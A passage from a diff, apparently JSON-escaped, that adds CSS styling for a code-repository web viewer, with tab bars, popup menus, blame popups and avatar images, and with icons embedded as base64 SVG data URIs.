NDU5NzctMC4xMDY3OSAwLjkxODA5LTAuMjI2NyAxLjM1ODQtMC4zOTg2MiIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjODlhMDJjIiBzdHJva2Utd2lkdGg9Ii45NjUiLz4KCQk8ZyBzdHJva2U9IiMwMDAiPgoJCQk8cGF0aCB0cmFuc2Zvcm09Im1hdHJpeCguNjkxNzcgMCAwIC42OTE3NyAtNzAxLjU0IC00MjQuMSkiIGQ9Im02MzQuMjkgMzA1LjQ1YzMuMjI1NSAwIDY0LjYyNi00LjgzNTkgNjQuNjI2LTQuODM1OWwwLjQ4MDU3IDUuNDcxMnoiIGZpbHRlcj0idXJsKCNkKSIgc3Ryb2tlLXdpZHRoPSIxLjA2NSIvPgoJCQk8cGF0aCBkPSJtLTI2NS4xNS0yMTQuN2MxNi4xODYgMC4xMTgxMyAzMi4zNzYgMC4xODk3MiA0OC41NTkgMC4zMzY5MyAxLjAyOTEgMC4wNDI0IDEuODk5NyAwLjU4MzY4IDEuODkxMiAyLjc0MzEtMWUtMyAwLjMyMjI3IDFlLTMgMC42MzQyLTAuMDM2NSAxLjAxNjgtMC4xMDUzNyAwLjc5NTIgMC4xMzAxIDEuMTQ4MS0wLjIxNjg2IDEuMTY0Ny0xNy4wNTEgMC4xMDU1OC0zNC4xMDIgMC4yMTExNi01MS4xNTMgMC4zMTY3NHoiIGZpbGw9IiM5MThkNDkiIHN0cm9rZS13aWR0aD0iMS4zODM1Ii8+CgkJCTxwYXRoIGQ9Im0tMjk5LjE5LTIxNi4yNmMwLjc1MTMzIDE4Ljg5NiAxLjUwMjYgMzcuNzkyIDIuMjU0IDU2LjY4OCAwLjI1NjI5IDEuNDAxIDAuOTU1MDIgMS4xMzExIDEuODM5OSAxLjI2NGw3OS4xOTEgMi42ODA1YzEuMTI3Ni0wLjA0NjEgMS4wMTMyLTAuNTY2NTQgMS4xNTU1LTEuNzA5MiAwLjE1NDQzLTE0LjgyNS0wLjQwODM1LTM4LjU3Ni0wLjI1MzkzLTUzLjQwMSAwLjEwMjY3LTEuNDE4Mi0xLjEwMzktMS4wMTkyLTIuMDEzMS0xLjEzNTYtMTIuNTI5LTAuMTQ3NC0zNC4xNDQtMC4yOTQ4MS00Ni42NzMtMC40NDIyMS0yLjUxMTMtMC40NjA2MS0wLjkxMzkxLTQuNjc4Ni00LjgxMjgtNC41Mjg1bC0yOS41NTctMC4yMzczN2MtMC42MDAzMi0wLjA1MDMtMS4wNzU5IDAuMjY4OTctMS4xMzAzIDAuODIxNDJ6IiBmaWxsPSJ1cmwoI2IpIiBzdHJva2Utd2lkdGg9IjEuMjQ1MiIvPgoJCTwvZz4KCQk8cGF0aCBkPSJtLTI2Mi45Ny0yMTIuNThjMi4yMzEzIDAgNDQuNzU4LTMuNzA2NCA0NC43NTgtMy43MDY0bDAuMzg4NzkgNC4xMzd6IiBmaWxsPSIjZmZmIi8+CgkJPGcgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjNWQ2YzUzIj4KCQkJPGcgc3Ryb2tlLXdpZHRoPSIuMzkwODUiPgoJCQkJPHBhdGggZD0ibS0yNDcuMzMtMTcyLjEyIDI3LjM3MyAwLjYzNjM1Ii8+CgkJCQk8cGF0aCBkPSJtLTI0Ni44NS0xNjIuNDggMjcuMjQxIDAuODAxOTciLz4KCQkJCTxwYXRoIGQ9Im0tMjQ3LjMzLTE3Mi4zMSAwLjQ2ODE4IDEwLjAxOCIvPgoJCQkJPHBhdGggZD0ibS0yMTkuOTctMTcxLjY4IDAuMzEzNzggMTAuMTc4Ii8+CgkJCTwvZz4KCQkJPGcgc3Ryb2tlLXdpZHRoPSIuMTgzMDNweCI+CgkJCQk8cGF0aCBkPSJtLTI0Ny0xNjYuMiAyNy4yMTQgMC42MzYzNSIvPgoJCQkJPHBhdGggZD0ibS0yNDYuOTItMTY0LjMzIDI3LjIxNCAwLjYzNjM1Ii8+CgkJCQk8cGF0aCBkPSJtLTIzMy45MS0xNzEuODh2Ni4wMDQzIi8+CgkJCQk8cGF0aCBkPSJtLTIzMy45My0xNjguNzUgMTQuMDQ1IDAuMzE3NTkiLz4KCQkJPC9nPgoJCTwvZz4KCQk8Zz4KCQkJPGcgZmlsbC1vcGFjaXR5PSIuMDU3ODUxIj4KCQkJCTxwYXRoIGQ9Im0tMjk2LjU2LTE3OC4zNmMwLjM4NzUxLTAuMDIzMSAwLjczODk2IDAuNDQ4MzUgMS4xMzEzIDAuNDU4ODMgMC4zNDUwOSA5ZS0zIDAuNzMwODQtMC40NDY0NSAxLjA3NTctMC40MTAxOCAxLjAyNjEgMC4xMDc4OCAyLjA0MyAwLjMzNzcxIDMuMDAxOSAwLjcwMjcyIDAuMzU5MzQgMC4xMzY3OCAxLjMwODIgMS42MDc0IDEuNjQ4NyAxLjc4MjkgMC4zOTQ5NiAwLjIwMzUzIDAuMTc3OC0wLjg4MTM0IDAuNTM5ODgtMC42MjM3NiAwLjU0OTUzIDAuMzkwOTQgMS4wNTY2IDAuODQ1MzggMS41MDcgMS4zNjcxIDAuMzQ2NSAwLjM5MTY0IDAuNjUyNDEgMC44MTMwNyAwLjkxNzY3IDEuMjU3MyAwLjI1Njc4IDAuNDMwMDEtMC4xNjIwNSAwLjU2MjYzIDAuMDE4NSAxLjAyOSAwLjE5NzkxIDAuNTExMjMgMC45ODc1MSAxLjM1OTMgMS4wOTM3IDEuODk4MiAwLjQ0NDkgMi4yNTgzIDAuMDg0IDQuNjg2Ni0xLjA4ODEgNi42NzA0LTAuMTc5MyAwLjMwMzQ4LTEuMDU1IDAuNTE2ODUtMS4yNzIyIDAuNzk3MzEtMC4yNDY5MSAwLjMyNTA1IDAuMTYwNDkgMC43MDg1NS0wLjEyOTE2IDAuOTkwNTktMS4zNTg4IDEuMzIzMi0zLjE1MDUgMi4xNjY5LTUuMDI1IDIuNDc0OS0wLjQ3Njg0IDAuMDc4NC0wLjU2MDU3LTAuNjM0OTgtMS4wNDI0LTAuNjI2ODYtMC40NzIxNS0wLjAyMzktMS43ODUgMC44NDk4NC0xLjk3MjQgMC42MzUyMiAwLjUwNjE0LTAuNDE1NDggMC43OTYyOS0xLjQ5MjUgMS41ODMzLTEuMDQ3OCAwLjcxMjU1IDAuNDYxNTkgMS4yMzctMC43MTA0NCAxLjg3MDIgMC4wMTQ5IDAuNTcwMDcgMC40OTIzMiAxLjQwMjMgMC40NDkzNCAxLjk1MTctMC4wNTE5IDAuNTc2ODUtMC41MTM5NyAxLjE0NTEtMS4wNTUxIDEuNDczLTEuNzY5NSAwLjM2NDg0LTAuODE5NzEgMS4yMjA4LTEuMjc2NCAxLjYxMDgtMi4wNjE4IDAuMzI4NS0xLjAwOTQgMC42NTczNi0yLjAxOTcgMC45MjAyMS0zLjA0ODYtMC4wNTQtMC41OTY1MyAwLjUwMy0xLjM5NzcgMC40NDMxMi0xLjk5NjYtMC4wNjU4LTAuNjU4My0wLjc1MjQ3LTEuMTEzNy0wLjkwNzY5LTEuNzUzNS0wLjIwNjcxLTAuNzY3MjktMC44MTQzMS0xLjQ2NDktMC43NzY5Ni0yLjI2MjggMC4xMjIwNC0wLjY1MDk0IDAuMTg3NjktMS40MTM3LTAuNjg2MDYtMS40Njc4LTAuODc5MyAwLjAzOC0xLjYzODItMC40NzM3Ni0yLjQ0NjQtMC43NDU0MS0wLjIxNTMtMC41MDI4Ni0wLjU0NDc3LTEuMzM5Ni0xLjI1MTUtMS4yNzI0LTAuNTU1MTgtMC4wMTU1LTEuMTEwOSAwLjIyNTUyLTEuMjQ2My0wLjQ2NDQ4LTAuNjc4MTUgMC4zMTU0LTEuMzYzNCAwLjcxMTk3LTIuMTUxMyAwLjUxNzU1LTAuOTA0ODggMC4xMDc3OC0wLjY5NjQtMC4yNTkyMi0wLjc5MTM5LTAuOTkzNjJ6Ii8+CgkJCQk8cGF0aCBkPSJtLTI4OS43Ni0xNzUuMTkgMC4xNjkzNS0wLjA1OTggMC41NTc4NCAwLjA4OTctMC4wNTk4IDAuMjk4ODR6Ii8+CgkJCQk8cGF0aCBkPSJtLTI4OC42NS0xNzUuMDMgMC4yMTkxNS0wLjE3OTMxIDAuMTE5NTQgMC4zMTg3Ni0wLjIzOTA3IDAuMDU5OHoiLz4KCQkJCTxwYXRoIGQ9Im0tMjg5LjAxLTE3NC43NCAwLjU4NzczIDAuMjM5MDYgMC4xNzkzIDAuMTg5MjctMC4zMTg3NyAwLjEzOTQ2eiIvPgoJCQkJPHBhdGggZD0ibS0yOTMuMDctMTc3LjE4YzAuMzAyMTYgMC4wNDY1IDAuNjA0MzIgMC4wOTMgMC45MDY0OCAwLjEzOTQ2IDAuMDg2MyAwLjA5OTYgMC4xNzI2NiAwLjE5OTIyIDAuMjU4OTkgMC4yOTg4NC0wLjE3NTk4LTAuMDEzMy0wLjM1MTk2LTAuMDI2Ni0wLjUyNzk1LTAuMDM5OS0wLjIxMjUxLTAuMTMyODEtMC40MjUwMi0wLjI2NTYzLTAuNjM3NTItMC4zOTg0NXoiLz4KCQkJCTxwYXRoIGQ9Im0tMjkyLjMxLTE2MS44IDAuNDU4MjIgMC4wOTk2IDAuMTE5NTQgMC4zMTg3Ni0wLjIzOTA4IDAuMDU5OHoiLz4KCQkJCTxwYXRoIGQ9Im0tMjkxLjctMTYyIDAuNDU4MjIgMC4wOTk2IDAuMTE5NTQgMC4zMTg3Ni0wLjIzOTA4IDAuMDU5OHoiLz4KCQkJCTxwYXRoIGQ9Im0tMjkwLjk2LTE2Mi4zNiAwLjQ1ODIzIDAuMDk5NiAwLjExOTUzIDAuMzE4NzYtMC4yMzkwNyAwLjA1OTh6Ii8+CgkJCQk8cGF0aCBkPSJtLTI4Ny45Ny0xNjMuMDggMC40NTgyMiAwLjA5OTYgMC4xMTk1NCAwLjMxODc2LTAuMjM5MDggMC4wNTk4eiIvPgoJCQkJPHBhdGggZD0ibS0yOTUtMTYwLjMzIDAuNDU4MjIgMC4wOTk2IDAuMTE5NTQgMC4zMTg3Ny0wLjIzOTA4IDAuMDU5OHoiLz4KCQkJPC9nPgoJCQk8cGF0aCBkPSJtLTIxNy45NS0yMTMuNzEgMC4xNTQ5OCAxLjYyIDAuMjQ2NTEgMC4wMzUyLTAuMTkwMTgtMS42Njk0eiIvPgoJCTwvZz4KCQk8cGF0aCBkPSJtLTI5NC44Ny0yMTEuODNjMS43NzktMC4wNDM0IDIuMzgyOS0zLjE2OCA0LjExMTQtMi41MDEyIDAuMjQ0MzYgMS4zMDY2LTEuMjY1MSAyLjE1MDYtMS42NDc0IDMuMzQ3NC0wLjIyOTI3IDAuNDEzMzEtMS4zNjk5IDIuMDUyMi0wLjMwOTg5IDEuMDA1NCAxLjIzMTUtMS4yNzM3IDIuMTU2Mi0zLjEwMjQgNC4wMTg2LTMuNTM0OSAxLjM0ODcgMC4zOTA4My0xLjQxMDMgMS44NTYtMC4xNjYwNCAwLjUwODkxIDEuMDc2My0wLjk5NTI3IDIuOTg5NC0wLjUyMzgxIDMuMzM1MiAwLjk0OTk1IDAuMzE3MzggMS42OTk0IDIuMDY5NiAxLjQxNTkgMi45OTQzIDAuNDEzNzQgMC45MDg5Ny0wLjI2MzUgMS4xNDQzLTIuNzYzMyAwLjA2NjYtMS4zODc0IDAuMTc1NCAwLjY0NzcxIDEuNDk2My0wLjk5OTE5IDIuMDUwNiAwLjE2NjcgMC4yOTM5IDAuNjg2LTAuMDU3NCAyLjY5MjEgMS4yODM4IDEuODA4OCAwLjY3NDktMC42MTU4NSAxLjgwMTctMi41ODQ2IDIuNjkxMy0xLjMwMTMgMC4xMDM4MiAxLjIyODMtMC4yODkyNSAyLjQ3LTAuNTMyOTkgMy42NzQgMC4wNDgxIDAuOTAyMDctMS42ODM5IDIuMzY0Ni0xLjQ3NjMgMC42OTgxOSAwLjU1ODk3LTEuNTUzOCAyLjEyNTQtMi4yNTY5IDMuMzgxNS0zLjEwNTUgMC40Nzk0Ny0wLjk3MzIyIDEuOTQ5MS0yLjU4NDYgMi42MTYxLTAuODA2NjggMC4zMjc3NyAxLjc5NjYgMS44NTItMC4zNTMyNiAzLjAxNTItMC4xMTEwOSAwLjMxODA2LTAuMDczOSAwLjYzNTExLTAuMTU2ODMgMC45Mzk3Mi0wLjI3NTc2IiBmaWxsPSJub25lIiBzdHJva2U9IiM1ZDZjNTMiIHN0cm9rZS13aWR0aD0iLjY2NzU2Ii8+CgkJPHRleHQgdHJhbnNmb3JtPSJyb3RhdGUoMS4yMjM3KSIgeD0iLTI2MC42Mzc4NSIgeT0iLTE4NC40OTgiIGRvbWluYW50LWJhc2VsaW5lPSJhdXRvIiBmaWxsPSIjZmZmZmZmIiBmb250LWZhbWlseT0iJ09wZW4gU2FucyciIGZvbnQtc2l6ZT0iMTEuNjFweCIgZm9udC13ZWlnaHQ9ImJvbGQiIGxldHRlci1zcGFjaW5nPSIwcHgiIHN0cm9rZS13aWR0aD0iMS40NTEyIiB0ZXh0LWFsaWduPSJjZW50ZXIiIHRleHQtYW5jaG9yPSJtaWRkbGUiIHdvcmQtc3BhY2luZz0iMHB4IiBzdHlsZT0iZm9udC1mZWF0dXJlLXNldHRpbmdzOm5vcm1hbDtmb250LXZhcmlhbnQtYWx0ZXJuYXRlczpub3JtYWw7Zm9udC12YXJpYW50LWNhcHM6bm9ybWFsO2ZvbnQtdmFyaWFudC1saWdhdHVyZXM6bm9ybWFsO2ZvbnQtdmFyaWFudC1udW1lcmljOm5vcm1hbDtmb250LXZhcmlhbnQtcG9zaXRpb246bm9ybWFsO2xpbmUtaGVpZ2h0OjEuMjU7c2hhcGUtcGFkZGluZzowO3RleHQtZGVjb3JhdGlvbi1jb2xvcjojMDAwMDAwO3RleHQtZGVjb3JhdGlvbi1saW5lOm5vbmU7dGV4dC1kZWNvcmF0aW9uLXN0eWxlOnNvbGlkO3RleHQtaW5kZW50OjA7dGV4dC1vcmllbnRhdGlvbjptaXhlZDt0ZXh0LXRyYW5zZm9ybTpub25lO3doaXRlLXNwYWNlOm5vcm1hbCIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+PHRzcGFuIHg9Ii0yNjAuNjM3ODUiIHk9Ii0xODQuNDk4Ij5TVUI8L3RzcGFuPjx0c3BhbiB4PSItMjYwLjYzNzg1IiB5PSItMTY5Ljk4NTY5Ij5NT0RVTEU8L3RzcGFuPjwvdGV4dD4KCTwvZz4KPC9zdmc+Cg\u003d\u003d\u0022);\n+\twidth:0px;\n+\theight:0px;\n+\tpadding: 0.4em 0.6em 0.4em 0.6em;\n+\tbackground-repeat: no-repeat;\n+\tline-height:100%;\n+\tvertical-align:middle;\n+\tcolor: rgba(0, 0, 0, 0) !important;\n+}\n+\n+img.hflip {\n+\ttransform: scaleX(-1);\n+ filter: FlipH;\n+}\n+\n+div.popup-title {\n+\tdisplay:inline-block;\n+\tvertical-align:top\n+}\n+\n+div.alias {\n+\tdisplay:inline-block;\n+\tvertical-align:middle;\n+\tline-height:90%\n+}\n+\n+div.popalias {\n+\tdisplay:inline-block;\n+\tvertical-align:middle;\n+\tfont-size:150%;\n+\twidth:100%;\n+\twhite-space:normal;\n+\tfont-weight:normal;\n+\tpadding:8px 8px 0 8px;\n+}\n+\n+div.putt {\n+\tdisplay:inline-block;\n+\tfloat:left;\n+\tvertical-align:middle;\n+\tmargin-right:64px;\n+\tmin-height:72px;\n+\tcursor:normal;\n+\tline-width:100%;\n+\twhite-space:normal;\n+\tfont-weight:normal;\n+}\n+\n+div.putt1 {\n+\tdisplay:inline-block;\n+\tfloat:left;\n+\tfont-size:150%;\n+\tvertical-align:middle;\n+\twhite-space:normal;\n+\tcursor:normal\n+}\n+\n+div.putt1_blame {\n+\tdisplay:inline-block;\n+\tposition:absolute;\n+\tfloat:left;\n+\tfont-size:350%;\n+\ttop:-0.2em;\n+\tleft:-2.5em;\n+\tvertical-align:middle;\n+\tcursor:normal\n+}\n+\n+div.putt2 {\n+\tdisplay:inline;\n+\tmargin:auto;\n+\ttext-align:left;\n+\tvertical-align:middle;\n+\tmargin-right:64px;\n+\tfont-size:125%;\n+\twidth:100%;\n+\tfont-weight:normal;\n+\tword-break:break-word;\n+}\n+\n+div.putt3 {\n+\tdisplay:inline-block;\n+\tposition:absolute;\n+\tfont-size:125%;\n+\ttop:6px;\n+\tright:6px;\n+\tfloat:right;\n+\tvertical-align:top;\n+\twhite-space:normal;\n+}\n+\n+div.putt3_blame {\n+\tdisplay:inline-block;\n+\tposition:absolute;\n+\ttop:4px;\n+\tright:-14px;\n+\tfloat:right;\n+\tpadding-right:20px;\n+\tvertical-align:top;\n+}\n+\n+div.putt4 {\n+\tdisplay:inline-block;\n+\tfloat:none;\n+\tmargin-right:12px;\n+\tfont-size:100%;\n+\tpadding-right:2px;\n+\tvertical-align:middle;\n+}\n+\n+span.gravatar16 img.onhover {\n+\tdisplay: none;\n+\tborder: 1px solid gray;\n+\tpadding: 0px;\n+\tborder-radius: 4px;\n+\twidth: 128px;\n+\theight: 128px;\n+\tcolor: gray\n+}\n+\n+a.noline {\n+\ttext-decoration: none;\n+}\n+\n+a.grav-mailto:link {\n+\ttext-decoration: none;\n+\tcolor:gray\n+}\n+\n+span.identity {\n+\tborder-radius: 5px;\n+\tpadding: 0px;\n+\tpadding-right: 5px;\n+\tbackground-color: rgba(240, 240, 240, 0.5);\n+}\n+\n+span.gravatar64 img.inline-identity {\n+\tborder-radius: 3px;\n+\tvertical-align:middle;\n+\theight: 64px;\n+\twidth: 64px;\n+\tmargin-right: 0.2em;\n+\topacity: 0.6;\n+}\n+\n+span.gravatar24 img.inline-identity {\n+\tborder-radius: 3px;\n+\tvertical-align:middle;\n+\theight: 24px;\n+\twidth: 24px;\n+\tmargin-right: 0.2em;\n+\topacity: 0.6;\n+}\n+\n+span.gravatar16 img.inline-identity {\n+\tborder-radius: 3px;\n+\tvertical-align:middle;\n+\theight: 16px;\n+\twidth: 16px;\n+\tmargin-right: 0.2em;\n+\topacity: 0.6;\n+}\n+\n+img.onhover {\n+\tdisplay:none;\n+}\n+\n+span.gravatar16:hover \u003e img.onhover {\n+\tdisplay: block;\n+\tposition: absolute;\n+\tmargin-left: 1.5em;\n+\tbackground-color: #eeeeee;\n+\tbox-shadow: 2px 2px 7px rgba(100,100,100,0.75);\n+\tz-index:4\n+}\n+\n+span.gravatar24:hover \u003e img.onhover {\n+\tdisplay: block;\n+\tposition: absolute;\n+\tmargin-left: 1.5em;\n+\tbackground-color: #eeeeee;\n+\tbox-shadow: 2px 2px 7px rgba(100,100,100,0.75);\n+\tz-index:4\n+}\n+\n+span.inline-branch {\n+\tborder-radius: 8px;\n+\tpadding: 2px 5px 2px 5px;\n+\tbackground-color: #f44;\n+\tcolor: white;\n+\tmargin-right: 0.2em;\n+\tdisplay: inline-block;\n+\tvertical-align:middle;\n+\tline-height:100%\n+}\n+\n+span.inline_tag {\n+\tborder-radius: 8px;\n+\tpadding: 2px 5px 2px 5px;\n+\tbackground-color: #4d4;\n+\tcolor: white;\n+\tmargin-right: 0.2em;\n+\tdisplay: inline-block;\n+\tvertical-align:middle;\n+\tline-height:100%\n+}\n+\n+div.selected-lines {\n+\tposition: absolute;\n+\tpointer-events: none;\n+\tz-index: 1;\n+\tbackground-color: rgba(255, 255, 0, 0);\n+\ttransition: background-color 0.5s;\n+}\n+\n+div.blamed-lines {\n+\tposition: absolute;\n+\tz-index: -1;\n+\ttransition: background-color 0.5s;\n+}\n+\n+a.selected-line-link-highlight {\n+\tbackground-color: yellow;\n+}\n+\n+div.inline {\n+\tborder: 1px solid gray;\n+\tborder-radius: 6px;\n+\tpadding: 6px;\n+\tmargin-top:12px\n+}\n+\n+div.inline-title {\n+\tbackground-color: rgba(192, 192, 192, 0.7);\n+\tborder-radius: 6px;\n+\tpadding: 6px;\n+}\n+\n+div.burger {\n+\tposition: absolute;\n+\ttext-align: center;\n+\tfont-size: 6px;\n+\tfont-color: black;\n+\tleft: 6px;\n+\twidth: 24px;\n+\theight: 12px;\n+\topacity: 0;\n+\tz-index: 2;\n+\tpadding-top: 4px;\n+\tpadding-bottom: 0px;\n+\tcursor: pointer;\n+\tborder: 1px solid gray;\n+\tborder-radius: 3px;\n+\tbackground-color: rgba(255, 255, 255, 1.0);\n+\ttransition: opacity 0.5s;\n+}\n+\n+div.burger:before {\n+\tcontent: \u0022\u005c26AB\u005c26AB\u005c26AB\u0022;\n+}\n+\n+div.popup-blameotron {\n+\tdisplay: inline-block;\n+\tfloat: right;\n+\tposition: absolute;\n+\ttext-align: left;\n+\tfont-size: 40%;\n+\tcolor: black;\n+\topacity: 0;\n+\tz-index: 3;\n+\tmargin: 3px;\n+\tpadding: 3px;\n+\tborder: 1px solid gray;\n+\tborder-radius: 3px;\n+\tbackground-color: white;\n+\twhite-space: normal;\n+\tbox-shadow: 0px 5px 15px gray;\n+\ttransition: opacity 0.3s;\n+\tword-wrap:break-word;\n+}\n+\n+td.blamoid {\n+\ttext-align: left;\n+\tfont-size: 90%;\n+\tline-height:100%;\n+\tword-wrap:break-word;\n+\tvertical-align:top;\n+}\n+\n+div.popup-menu {\n+\tdisplay: inline-block;\n+\tfloat: left;\n+\tposition: absolute;\n+\ttext-align: left;\n+\tfont-size: 12px;\n+\tcolor: black;\n+\tleft: 8px;\n+\topacity: 0;\n+\tz-index: 3;\n+\tmargin: 3px;\n+\tpadding: 3px;\n+\tborder: 1px solid gray;\n+\tborder-radius: 3px;\n+\tbackground-color: white;\n+\twhite-space: nowrap;\n+\tbox-shadow: 0px 5px 15px gray;\n+\ttransition: opacity 0.3s;\n+\tfont-weight:normal\n+}\n+\n+div.popup-menu ul {\n+\tlist-style-type: none;\n+\tpadding-left: 5px;\n+\tpadding-right: 5px;\n+}\n+\n+div.popup-menu ul li {\n+\tmargin: 3px;\n+\tpadding: 3px;\n+\tfont-size: 14px;\n+\tleft: 0px;\n+}\n+\n+div.popup-menu ul li:hover {\n+\tbackground-color: lightblue;\n+}\n+\n+div.popup-menu ul li:active {\n+\tbackground-color: blue;\n+\tcolor: white;\n+}\n+\n+hr {\n+\tborder-width: 1px;\n+\tborder-color: black;\n+\twidth: 100%;\n+\tpadding-top: 0px;\n+\tmargin: 0px;\n+}\n+\n+div.repobar {\n+\tmargin-top:8px;\n+\tmargin-bottom:12px;\n+}\n+\n+td.repobar {\n+\tmargin-top:-0px;\n+\tmargin-bottom:0px;\n+\tpadding-top:0px;\n+\tpadding-bottom:0px;\n+}\n+\n+tr.repobar {\n+\tdisplay:block;\n+\tmargin: auto;\n+\tmargin-top:-2px;\n+\tmargin-bottom:0px;\n+\tpadding-top:0px;\n+\tpadding-bottom:0px;\n+\tvertical-align:top;\n+\twidth: 100vw;\n+\tmargin-left: -12px;\n+\tpadding-top:4px;\n+\tpadding-right: 12px;\n+\tpadding-left: 8px;\n+\tborder-top: 1px solid #AAA;\n+\tborder-bottom: 1px solid #AAA;\n+}\n+\n+tbody.repobar {\n+\tmargin-top:0px;\n+\tmargin-bottom:0px;\n+\tpadding-top:0px;\n+\tpadding-bottom:0px;\n+\tborder-spacing:0px;\n+\tvertical-align:top;\n+\ttable-layout:fixed;\n+}\n+\n+table.repobar {\n+\tmargin-top:0px;\n+\tmargin-bottom:0px;\n+\tpadding-top:0px;\n+\tpadding-bottom:0px;\n+}\n+\n+div.tabbar {\n+\tdisplay: inline-block;\n+\tmargin: 0;\n+\tmargin-top: 0px;\n+\tmargin-bottom: 8px;\n+\tpadding: 0 16px 0 8px;\n+\twidth:100%;\n+\theight: 1.85em;\n+\tz-index:0;\n+}\n+\n+tr.tabbar {\n+\tmargin-top:-3px;\n+\tmargin-bottom:0px;\n+\tpadding-top:0px;\n+\tpadding-bottom:0px;\n+\tvertical-align:top;\n+\tdisplay:block;\n+}\n+\n+div.tabs {\n+\tdisplay: inline-block;\n+\tfloat:left;\n+\theight: 1.7em;\n+\tline-height: 1.6em;\n+\tmargin-right:8px;\n+}\n+\n+div.tabs ul {\n+\tdisplay: inline;\n+\tlist-style-type: none;\n+\tpadding: 2px 2px 2px 2px;\n+\tmargin: 0;\n+}\n+\n+div.tabs li {\n+\tborder: 1px solid #AAA;\n+\tbackground: #f1f1f1;\n+\tdisplay: inline-block;\n+\tposition: relative;\n+\theight: 1.7em;\n+\tline-height: 1.6em;\n+\tz-index: 1;\n+\tborder-top: 0px solid #AAA;\n+\tborder-top-left-radius: 0px;\n+\tborder-top-right-radius: 0px;\n+\tborder-bottom-left-radius: 9px;\n+\tborder-bottom-right-radius: 9px;\n+\ttext-shadow: 0 1px #FFF;\n+\tmargin: -0.5px -0.5px 0px -0.5px;\n+\tpadding: 0 8px 0 4px;\n+}\n+\n+div.tabbar:before {\n+\tposition: relative;\n+\tcontent: \u0022 \u0022;\n+\twidth: 100%;\n+\tleft: 0;\n+\tz-index: 1;\n+}\n+\n+div.tabs li.selected:before {\n+\tbox-shadow: 2px 2px 0 #FFF;\n+}\n+div.tabs li.selected:after {\n+\tbox-shadow: -2px 2px 0 #FFF;\n+}\n+div.tabs li.selected {\n+\tposition:relative;\n+\tbackground: #FFF;\n+\tcolor: #000;\n+\tz-index: 2;\n+\tmargin-top: -4px;\n+\tborder-top: 0px;\n+\tborder-top-left-radius: 0px;\n+\tborder-top-right-radius: 0px;\n+}\n+\n+div.tabs a {\n+\ttext-decoration: none;\n+\tdisplay: inline-block;\n+\tcolor: #00c;\n+\ttext-align: center;\n+}\n+\n+div.tabs li.selected a {\n+\tcolor: #000;\n+}\n+\n+img.home {\n+\tdisplay: inline-block;\n+\tfloat:left;\n+\tbackground: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAxMC41NDcgNy4zMzU2IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOmNjPSJodHRwOi8vY3JlYXRpdmVjb21tb25zLm9yZy9ucyMiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KPG1ldGFkYXRhPgo8cmRmOlJERj4KPGNjOldvcmsgcmRmOmFib3V0PSIiPgo8ZGM6Zm9ybWF0PmltYWdlL3N2Zyt4bWw8L2RjOmZvcm1hdD4KPGRjOnR5cGUgcmRmOnJlc291cmNlPSJodHRwOi8vcHVybC5vcmcvZGMvZGNtaXR5cGUvU3RpbGxJbWFnZSIvPgo8ZGM6dGl0bGUvPgo8L2NjOldvcms+CjwvcmRmOlJERj4KPC9tZXRhZGF0YT4KPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEwMC41MyAtMTA0LjczKSI+CjxwYXRoIGQ9Im0xMDAuOTggMTA3LjY1IDQuMzc2NS0yLjc3MjkgMi42MDU5IDEuNDd2LTEuMjM2MWgwLjczNDk5djEuNTcwMmwxLjg3NzcgMS4wODQxeiIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yNjQ1OHB4Ii8+CjxwYXRoIGQ9Im0xMDEuOTggMTA3LjcydjQuMjA5NWg3LjI4MzF2LTQuMjA5NWgtNy4zODMzeiIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yNjQ1OHB4Ii8+CjxyZWN0IHg9IjEwNC44NSIgeT0iMTA5LjI2IiB3aWR0aD0iMS41NzAyIiBoZWlnaHQ9IjIuNjM5MyIgcnk9IjAiIGZpbGw9IiNmZmYiIHN0cm9rZT0iIzRkNGQ0ZCIgc3Ryb2tlLW9wYWNpdHk9Ii4xODE4MiIgc3Ryb2tlLXdpZHRoPSIuMDY1Ii8+CjwvZz4KPC9zdmc+Cg\u003d\u003d\u0022);\n+\twidth:0px;\n+\theight:0px;\n+\tpadding:0.7em 0.9em 0.7em 0.9em;\n+\tvertical-align:middle;\n+\tmargin-right: 0.3em;\n+\tbackground-repeat: no-repeat;\n+\tcolor: rgba(0, 0, 0, 0) !important;\n+}\n+\n+img.extlink {\n+ display: inline-block;\n+ float:left;\n+ background: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAyNS4xMzEwOTQgMjYuODM1NTMxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgoJPGRlZnM+CgkJPGZpbHRlciBpZD0iYyIgeD0iLS4wNzI5NjgiIHk9Ii0uMDc1ODg5IiB3aWR0aD0iMS4xNDU5IiBoZWlnaHQ9IjEuMTUxOCIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KCQkJPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMC42NjY3NjYwMSIvPgoJCTwvZmlsdGVyPgoJCTxmaWx0ZXIgaWQ9ImIiIHg9Ii0uMTEwNTciIHk9Ii0uMDkyNjE5IiB3aWR0aD0iMS4yMjExIiBoZWlnaHQ9IjEuMTg1MiIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KCQkJPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMC40NDQ4Mzc4NCIvPgoJCTwvZmlsdGVyPgoJCTxmaWx0ZXIgaWQ9ImEiIHg9Ii0uMDk4OTY0IiB5PSItLjA3Mjk2NyIgd2lkdGg9IjEuMTk3OSIgaGVpZ2h0PSIxLjE0NTkiIGNvbG